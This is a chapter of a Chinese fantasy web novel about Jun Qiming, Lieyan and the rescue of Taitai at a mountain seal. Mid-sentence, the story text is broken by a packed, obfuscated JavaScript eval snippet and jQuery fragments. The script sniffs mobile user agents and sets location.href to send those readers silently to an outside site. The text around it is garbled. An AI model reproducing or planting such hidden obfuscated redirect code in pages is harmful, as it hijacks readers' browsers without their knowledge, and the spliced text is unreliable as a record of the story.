“醒醒!”
睡梦中的烈焰被打搅到,他不满意地背过身去,不作理会。
可背后的声音比他的呼噜都要响,令人无法忽视。
他内心挣扎了一会,终于无奈地坐起来,看到来人后,他惊得眼珠子都要丢出来。
“君岂明,大半夜,你在发什么癫?”
烈焰环顾四周,门口悄无声息,他意识到君岂明是偷偷溜进来的。
“你是怎么进来的?我的地下宫,有将近两百名侍卫,你竟然没有惊醒他们中的任何一个。”
烈焰说到最后有些咬牙切齿,他随手操起桌上的茶盏,狠狠摔在地上。
“少来这一套,我不是来看你摆场子的!”君岂明眉头紧皱,脸色不悦,随后他严厉又无情地瞪向烈焰。
“君岂明,你简直没大没小!”
与君岂明对视后,烈焰心里漏了一拍,涌上一股难以压抑的恐慌,怎么回事?烈焰强压下心中的不适。
这种感觉,熟悉又陌生,就像是小羊羔见了狼,天然的不适。
没过多久,大批人才马匆匆赶到。
“你们是干什么吃的,宫里进了人都不知道,你们这样怎么保护我、保护圣奶奶的安全。”
见烈焰动了火,那些人惊慌失措地跪下来,不敢吱声。
君岂明看着眼前乌泱泱跪着的人群,本想直接用暴力手段获取龙鳞的心逐渐熄灭,脑海中更好的计谋已经萌芽。
既然烈焰的弱点这么明显,他又有那么多侍卫,为什么不好好利用这一点达到营救苔苔的目的?
“拿下。”烈焰对着侍从们,指向君岂明,他厉声道:“我告诉你,这里不是集市,任你来去自如。”
底下领头的军官面带犹豫,猜不准二人是真的撕破脸,还是拿他们取乐。
君岂明在逐龙地地位尊贵,不小心得罪了他,以后可没好果子吃……可是若是不按照烈焰大人的吩咐,恐怕现在脑袋就要落地。
侍从们下了决心,正要行动时,君岂明开口道:“我有一个十万火急的消息要告诉你。”
“别说废话,直接拿下。”烈焰摆摆手,转过身去不作理会。
君岂明任由侍卫将他押解,只在转过身的一刹那,不紧不慢地蹦出一句:“小白脸把圣奶奶拐了。”
什么?烈焰简直不敢相信自己的耳朵!
“住手!”
烈焰急步跑到君岂明面前,指挥侍卫松绑,紧张地问:“怎么回事,仔细说说。”
“我说的都是废话。”
烈焰听出君岂明还在记仇,他硬是挤出笑脸,勉强自己降低音量道:“你可别太过分嗷!”
从前烈焰被长虹养得气性高傲,目空一切,能降低姿态已经实属不易。
在这个份上君岂明也不愿意多浪费时间:“叫你的部下去外面修整准备出发,小白脸把圣奶奶带去七隐山了。”
烈焰有些不满君岂明的态度:“你别一口一个圣奶奶,那是你叫的吗?我知道事情紧急,但你也别太过分了!”
君岂明满不在乎:“哦!我还有更过分的。”
“什么?”
“我还想借你的龙鳞!”
……
“这条路也太难走了吧!”
“是啊!我的脚都起泡了。”
在行军队伍中,落在最后面的两位侍卫正在抱怨着这次目标不明的行动。
“你说烈焰大人怎么就把龙鳞这么轻易就借出去了?”
“估计是怕被告状呗!你凑近点,我只偷偷告诉你一人,我听说啊烈焰大人是被收养的,原先的君家有三兄弟,烈焰大人也是其中之一。从前烈焰大人蒙难,是圣祖长虹大人救了他,他又很讨长虹大人欢心,最后长虹大人还收养了他。”
“怪不得烈焰大人肯借龙鳞呢!原来是兄弟。”
两百人行军,脚步声如雷轰鸣,二人稀碎的声音很快湮没在一个一个脚印当中。
简直说得跟真的一样。
君岂明听力极好,八卦的人哪里都有,从前他领兵时也经常遇到,也道听途说过一些有的没的。
不过这次……
君岂明转过头去,望向旁边的烈焰,对方却龇牙咧嘴、心有不甘的回视他。
哪有这么复杂呢?
君岂明嘴角略扬起弧度,真男人就是用决斗决胜负而已。
反正烈焰挨打的地方都比较隐蔽,也告不了什么状。
进入七隐山后,原本晴朗的天空突然漆黑一片、雷暴不断,伴随着狂风,这座山犹如猛兽张开血盆大口,要无情吞噬所有一切。
烈焰眯着眼悄悄打量君岂明,对方面色凝重,一如此时的天空。
他的心不断犯嘀咕,君岂明来腹地到底要干什么?
君岂明只是此处观察着,甚至懒得搭理自己,烈焰起了犯贱的心思:“在这里,这种天气,要是来一场决斗,那真是非死即伤了。”
君岂明紧紧抓着胸口,对烈焰所言恍若无闻,他表情痛苦不堪,仿佛承受了巨大的痛苦。
这是感应吗?苔苔是不是有危险?
君岂明一刻都等不及了,他揪住烈焰的脖子,恶狠狠道:“立刻带我找到封印,否则我就用龙尾劈死你!”
烈焰心里直翻白眼,这是求人的态度吗?
可迫于他的淫威,烈焰也只好拼尽全力率领众将士给他找入口,人多力量大,没过一盏茶的时间,还真让其中一个侍卫误打误撞找到了入口。
得到消息的瞬间,话音还未落,君岂明就一个闪影消失在众人眼前。
烈焰双手插在胸前,面色复杂,君岂明这个臭小子,什么时候实力已经甩开他一大截了,真令人焦虑。
而等君岂明赶到封印之地时,眼前都是苔苔无助的模样。
他眼睁睁地看着对方将苔苔推向封印,苔苔一点一点的消失在他的视野中,到最后连她惊慌的眼神都一并失去了。
“不……”君岂明发出撼动天地的咆哮,“苔苔……”
明明刚才已经伸出了手,可怎么连苔苔的衣角都没碰到,她就消逝了。
苔苔被吸入后,封印发出璀璨夺目的光芒,所有人都被这阵红光压迫的睁不开眼睛。
不到几个数的时间,封印又缩小成手掌那么大,不再继续往外喷色滚烫的红云。
一切慢慢归于平静。
可是另一场风波却越来越大,君岂明内心的恨意犹如即将爆发的火山般不可压抑。
他几乎是一瞬间抓住了妄图逃跑的月德容,单手死死掐住月德容的脖子,还未等月德容发出求饶的音节,他手一收紧,月德容顿时化作一抹尘埃,永远地消失在七隐山。
随后他步履沉重地走向稚英,气场全开的他势不可挡,“你好大的胆子!”
“没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464543|169800||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想到,这副身子能被你发挥出如此震撼的实力……!”
未等他说完,君岂明已经将他逼至角落。
稚英看到了君岂明眼中的杀意,辩解道:“你想杀我?你别忘记了,现在我才是稚英,我才是这副身体的主人!你要是杀了我,你就只能当一辈子逐龙,到那时,你的神力和地位就全都烟消云散了。”
“是吗?我最恨别人多事!”君岂明揉揉耳朵,从中掏出一玻璃珠。
稚英看了脸色大变:“他怎么会在这里?”
君岂明不做理会,对着化成人形的溪若耶命令道:“夺回我的身体!”
“遵命!”
溪若耶从神地赶到逐龙地后,一直蛰伏在铃星家,直到那天,他亲眼目睹了君岂明也就是雪岩的所作所为,在雪岩对稚英使用了若耶神功后,他一直都藏身在君岂明的耳朵中,寻找一个机会帮助真正的稚英重回正轨。
现在机会来了,溪若耶施法运功,展现水神若耶氏的实力。
若耶神功具有移形换影的能力,一阵光芒之后,逆转的世界回归原位。
稚英提起虚弱不堪的君岂明,正想了结他时,脑海中闪过烈焰的话:
“你打败我了,我可以把龙鳞给你,但是你也要答应我一个要求,放过君岂明,他……毕竟是我的亲哥哥!”
稚英像丢垃圾一般丢下君岂明。
麒麟火带着巨大的神力包绕了整座山,它蓄势待发仿佛在等待某个指令。
稚英背对着七隐山,打了一个响指,麒麟火瞬间引爆整座山,将腹地的一切掩埋起来,就像从来没有人来过一样!
……
某座府邸内
“你要干什么?”
面对逼近的稚英,雪岩蜷缩在一旁,退无可退。
稚英慢条斯理道:“我想让你消逝在这个世界,可又觉得便宜你了,你看看这是什么?”
稚英掏出一物递给雪岩,雪岩疑惑道:“浩天大锁?”
稚英沉默以对,眼神闪过凶光。
雪岩升起一股不好的预感:“不,不行,绝对不行!”
稚英轻易地将雪岩反扣在墙角,饶是雪岩挣扎不止,可是咔哒一声后,事已成定局。
“你禁锢了我的神力,不……我的理想,我的抱负……钥匙呢?钥匙呢?”雪岩颤抖着双手抚摸着耳朵上的浩天大锁。
“你想解开吗?”
雪岩点点头,可他深知稚英不会那么好心,正当他苦苦揣测稚英的用意时,稚英又狠狠扯下了他耳朵上的浩天大锁。
原来如此……
“啊……”
府邸内传来一阵痛苦的哀嚎。
而在外面的人却也同样不好过。
“为什么不直接杀了他为苔苔报仇,你不是没有这个实力!”
铃星拦住正欲离去的稚英,稚英恍若未闻,仍旧呆滞地往前走。
蒙放拍了拍铃星的肩膀,“雪岩视神力如生命,如今他受浩天大锁余威所困,再不能使用神力,如一盏即将干枯的油灯,让他眼睁睁看着自己熄灭,比杀了他更加痛苦!”
铃星回过头,看到雪岩匍匐在地,抬着头,双眼通红,眼底却一片迷茫,一副似笑非笑,压抑异常的模样。
“浩天大锁!也该他尝尝这滋味了。”
铃星这才明白过来,随后他唾弃一口,与稚英头也不回地走了。